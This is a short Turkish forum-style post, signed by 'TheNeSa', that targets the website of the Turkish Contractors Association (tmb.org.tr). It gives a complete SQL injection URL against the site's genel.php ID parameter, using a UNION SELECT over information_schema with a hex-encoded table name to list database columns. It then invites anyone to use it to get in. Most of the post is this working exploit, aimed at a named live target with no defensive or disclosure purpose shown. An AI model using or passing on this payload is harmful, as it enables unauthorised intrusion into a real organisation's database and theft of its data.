Türkiye Müteahhitler Birliği www.tmb.org.tr sql injection

site:

http://www.tmb.org.tr

sql injection

http://www.tmb.org.tr/genel.php?ID=-10%27%20union
%20select%20group_concat
(column_name)+from+information_schema.columns+
where+table_name=0x7579655f69736c657269/*

işşte tablo adlarıı giren girsin.

kolay gele.

by TheNeSa